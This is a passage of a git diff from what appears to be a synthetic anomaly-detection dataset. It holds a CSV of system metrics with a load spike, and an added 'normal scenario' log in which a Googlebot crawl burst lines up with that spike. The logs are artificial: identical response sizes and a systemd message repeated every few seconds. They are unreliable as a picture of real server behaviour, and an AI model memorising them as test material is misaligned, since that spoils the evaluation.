+2025-08-19T10:00:10Z,10.09,38.09,28.30,1.26,1.97 +2025-08-19T10:00:15Z,16.29,39.62,26.87,1.07,1.54 +2025-08-19T10:00:20Z,14.82,37.01,28.75,1.79,1.63 +2025-08-19T10:00:25Z,12.09,44.35,24.31,1.90,1.45 +2025-08-19T10:00:30Z,17.69,39.77,26.35,1.73,1.33 +2025-08-19T10:00:35Z,11.04,41.32,21.92,1.79,1.84 +2025-08-19T10:00:40Z,11.53,42.06,29.79,1.78,1.07 +2025-08-19T10:00:45Z,15.74,43.75,22.32,1.40,1.16 +2025-08-19T10:00:50Z,10.73,38.12,25.23,1.93,1.69 +2025-08-19T10:00:55Z,10.98,40.08,21.72,1.59,1.28 +2025-08-19T10:01:00Z,16.51,42.17,21.64,1.59,1.60 +2025-08-19T10:01:05Z,14.08,43.43,26.25,1.98,1.02 +2025-08-19T10:01:10Z,17.88,43.62,20.72,1.32,1.29 +2025-08-19T10:01:15Z,18.62,39.83,24.46,1.76,1.82 +2025-08-19T10:01:20Z,18.36,43.45,21.32,1.68,1.93 +2025-08-19T10:01:25Z,17.38,35.72,22.36,1.22,1.44 +2025-08-19T10:01:30Z,12.72,37.16,20.58,1.48,1.34 +2025-08-19T10:01:35Z,13.28,35.45,26.89,1.63,1.17 +2025-08-19T10:01:40Z,11.66,44.70,22.94,1.90,1.97 +2025-08-19T10:01:45Z,14.20,35.10,20.58,1.31,1.49 +2025-08-19T10:01:50Z,17.21,40.55,23.51,1.29,1.96 +2025-08-19T10:01:55Z,13.63,40.98,23.48,1.82,1.97 +2025-08-19T10:02:00Z,18.74,40.48,25.82,1.55,1.16 +2025-08-19T10:02:05Z,15.10,41.27,27.56,1.18,1.06 +2025-08-19T10:02:10Z,15.05,39.89,24.03,1.64,1.65 +2025-08-19T10:02:15Z,16.41,42.65,20.56,1.91,1.07 +2025-08-19T10:02:20Z,15.46,39.55,21.63,1.41,1.09 +2025-08-19T10:02:25Z,19.63,39.29,24.03,1.02,1.40 +2025-08-19T10:02:30Z,77.78,41.55,82.49,51.60,69.88 +2025-08-19T10:02:35Z,64.14,46.31,78.55,61.55,65.26 +2025-08-19T10:02:40Z,71.54,48.63,83.72,74.56,67.21 +2025-08-19T10:02:45Z,66.35,40.23,70.34,64.39,76.22 +2025-08-19T10:02:50Z,69.94,42.87,88.95,55.92,79.40 +2025-08-19T10:02:55Z,75.17,43.69,71.76,77.11,70.52 +2025-08-19T10:03:00Z,69.92,43.34,84.23,76.66,70.27 +2025-08-19T10:03:05Z,72.47,46.18,72.30,70.88,51.56 +2025-08-19T10:03:10Z,65.70,46.78,86.57,66.36,64.79 +2025-08-19T10:03:15Z,63.32,43.30,80.01,58.62,64.64 +2025-08-19T10:03:20Z,66.94,43.37,83.67,76.01,59.03 +2025-08-19T10:03:25Z,75.72,40.67,86.54,69.96,70.36 +2025-08-19T10:03:30Z,63.20,47.12,87.81,75.07,76.66 +2025-08-19T10:03:35Z,62.55,41.58,78.37,55.45,51.73 +2025-08-19T10:03:40Z,77.60,44.39,88.98,65.37,50.03 +2025-08-19T10:03:45Z,67.33,41.21,72.39,73.82,59.34 +2025-08-19T10:03:50Z,75.74,41.55,88.14,63.95,57.62 +2025-08-19T10:03:55Z,65.06,43.37,80.60,57.27,51.63 +2025-08-19T10:04:00Z,71.43,49.80,84.18,78.52,75.41 +2025-08-19T10:04:05Z,71.87,45.71,71.06,62.85,77.07 +2025-08-19T10:04:10Z,76.77,40.51,83.10,63.90,74.46 +2025-08-19T10:04:15Z,65.16,42.47,80.06,64.80,52.40 +2025-08-19T10:04:20Z,79.52,48.44,79.42,64.62,64.10 +2025-08-19T10:04:25Z,61.04,46.59,73.17,74.38,50.29 +2025-08-19T10:04:30Z,78.17,43.09,84.04,67.23,71.35 +2025-08-19T10:04:35Z,64.59,47.01,85.17,55.90,70.22 +2025-08-19T10:04:40Z,62.69,48.98,80.16,61.64,54.77 +2025-08-19T10:04:45Z,65.36,47.87,77.77,70.64,53.88 +2025-08-19T10:04:50Z,60.68,43.24,79.59,54.41,54.70 +2025-08-19T10:04:55Z,63.06,46.75,73.14,70.41,72.15 +2025-08-19T10:05:00Z,18.62,44.59,22.44,1.09,1.83 +2025-08-19T10:05:05Z,10.19,40.05,21.21,1.60,1.63 +2025-08-19T10:05:10Z,19.11,40.26,22.65,1.95,1.82 +2025-08-19T10:05:15Z,16.35,37.26,24.90,1.17,1.95 +2025-08-19T10:05:20Z,17.80,37.06,23.58,1.94,1.54 +2025-08-19T10:05:25Z,14.91,36.18,21.77,1.69,1.93 +2025-08-19T10:05:30Z,18.12,35.75,22.33,1.94,1.45 +2025-08-19T10:05:35Z,13.12,37.66,22.19,1.46,1.61 +2025-08-19T10:05:40Z,15.03,44.16,27.97,1.57,1.41 +2025-08-19T10:05:45Z,12.22,42.84,27.57,1.45,1.11 +2025-08-19T10:05:50Z,16.84,40.84,23.52,1.42,1.93 +2025-08-19T10:05:55Z,17.48,39.81,25.57,1.96,1.34 +2025-08-19T10:06:00Z,11.26,42.03,21.14,1.01,1.48 +2025-08-19T10:06:05Z,13.84,37.26,26.00,1.82,1.83 +2025-08-19T10:06:10Z,18.49,43.62,22.50,1.10,1.98 +2025-08-19T10:06:15Z,14.65,38.64,25.80,1.16,1.80 +2025-08-19T10:06:20Z,15.10,42.00,29.97,1.32,1.58 +2025-08-19T10:06:25Z,13.04,40.82,28.17,1.36,1.02 +2025-08-19T10:06:30Z,16.38,44.29,21.76,1.34,1.92 +2025-08-19T10:06:35Z,16.86,37.32,20.91,1.73,1.65 +2025-08-19T10:06:40Z,17.92,43.89,21.48,1.09,1.31 +2025-08-19T10:06:45Z,13.36,37.95,26.64,1.76,1.31 +2025-08-19T10:06:50Z,18.23,40.96,27.20,1.58,1.60 +2025-08-19T10:06:55Z,11.16,44.10,22.26,1.63,1.19 +2025-08-19T10:07:00Z,13.09,36.62,29.20,1.88,1.77 +2025-08-19T10:07:05Z,15.32,36.60,27.15,1.07,1.98 +2025-08-19T10:07:10Z,17.31,36.63,22.75,1.81,1.12 +2025-08-19T10:07:15Z,10.40,35.05,25.22,1.73,1.17 +2025-08-19T10:07:20Z,19.78,41.00,25.62,1.37,1.43 +2025-08-19T10:07:25Z,12.91,38.14,26.30,1.99,1.08 diff --git a/norm_dataset/scenario_8/norm_8_8.log b/norm_dataset/scenario_8/norm_8_8.log new file mode 100644 index 0000000000000000000000000000000000000000..68709ad9d2760e9b959301eb9c59cf47deb4e99e --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_8.log @@ -0,0 +1,701 @@ +Aug 19 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:02 web-app[1234]: 192.168.1.188 - - [19/Aug/2025:10:00:02 +0000] "GET /about HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:00:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:11 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:13 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:15 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:16 web-app[1234]: 192.168.1.52 - - [19/Aug/2025:10:00:16 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:00:18 web-app[1234]: 192.168.1.17 - - [19/Aug/2025:10:00:18 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:00:20 web-app[1234]: 192.168.1.141 - - [19/Aug/2025:10:00:20 +0000] "GET /blog/article-45 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:00:21 web-app[1234]: 192.168.1.22 - - [19/Aug/2025:10:00:21 +0000] "GET / HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:00:23 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:25 web-app[1234]: 192.168.1.92 - - [19/Aug/2025:10:00:25 +0000] "GET /products/123 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:00:26 web-app[1234]: 192.168.1.189 - - [19/Aug/2025:10:00:26 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:00:28 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:30 web-app[1234]: 192.168.1.86 - - [19/Aug/2025:10:00:30 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:00:31 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:33 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:37 web-app[1234]: 192.168.1.164 - - [19/Aug/2025:10:00:37 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:42 web-app[1234]: 192.168.1.37 - - [19/Aug/2025:10:00:42 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:00:45 web-app[1234]: 192.168.1.115 - - [19/Aug/2025:10:00:45 +0000] "GET / HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:00:46 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:48 web-app[1234]: 192.168.1.163 - - [19/Aug/2025:10:00:48 +0000] "GET /blog/article-45 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:52 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:55 web-app[1234]: 192.168.1.72 - - [19/Aug/2025:10:00:55 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:00:56 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:58 web-app[1234]: 192.168.1.158 - - [19/Aug/2025:10:00:58 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:01:00 web-app[1234]: 192.168.1.63 - - [19/Aug/2025:10:01:00 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:01:02 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:05 web-app[1234]: 192.168.1.139 - - [19/Aug/2025:10:01:05 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:01:10 web-app[1234]: 192.168.1.58 - - [19/Aug/2025:10:01:10 +0000] "GET /products/123 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:01:12 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:15 web-app[1234]: 192.168.1.149 - - [19/Aug/2025:10:01:15 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:01:17 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:20 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:21 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:23 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:25 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:35 web-app[1234]: 192.168.1.159 - - [19/Aug/2025:10:01:35 +0000] "GET /contact HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:41 web-app[1234]: 192.168.1.57 - - [19/Aug/2025:10:01:41 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:01:43 web-app[1234]: 192.168.1.112 - - [19/Aug/2025:10:01:43 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:01:45 web-app[1234]: 192.168.1.166 - - [19/Aug/2025:10:01:45 +0000] "GET / HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:01:47 web-app[1234]: 192.168.1.132 - - [19/Aug/2025:10:01:47 +0000] "GET /blog/article-45 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:01:50 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:55 web-app[1234]: 192.168.1.199 - - [19/Aug/2025:10:01:55 +0000] "GET / HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:02:00 web-app[1234]: 192.168.1.65 - - [19/Aug/2025:10:02:00 +0000] "GET /blog/article-45 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:02:01 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:03 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:05 web-app[1234]: 192.168.1.194 - - [19/Aug/2025:10:02:05 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:02:06 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:08 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:15 web-app[1234]: 192.168.1.74 - - [19/Aug/2025:10:02:15 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:02:17 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:20 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:25 web-app[1234]: 192.168.1.128 - - [19/Aug/2025:10:02:25 +0000] "GET / HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:02:26 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:28 web-app[1234]: 192.168.1.122 - - [19/Aug/2025:10:02:28 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:02:30 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:02:30 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:30 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:30 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:30 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:30 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:30 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:02:30 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:31 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:31 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:31 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:31 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:31 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:31 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:31 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:02:31 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:32 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:32 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:32 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:32 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:32 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:32 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:32 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:02:32 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:33 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:33 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:33 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:33 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:33 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:33 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:33 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:33 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:34 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:34 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:34 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:02:34 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:34 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:02:34 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:35 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:35 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:35 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:35 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:35 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:35 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:35 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:02:35 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:36 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:36 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:36 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:36 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:36 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:36 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:37 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:37 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:37 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:37 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:37 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:02:37 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:38 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:38 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:38 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:38 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:38 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:38 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:39 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:02:39 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:39 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:02:39 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:39 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:02:39 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:40 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:40 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:40 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:40 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:40 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:40 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:40 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:40 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:40 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:02:40 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:41 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:02:41 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:41 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:02:41 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:41 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:02:41 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:41 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:02:41 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:42 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:42 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:42 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:02:42 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:42 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:02:42 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:42 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:02:42 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:43 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:02:43 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:43 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:02:43 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:43 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:02:43 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:43 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:02:43 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:02:44 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:02:44 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 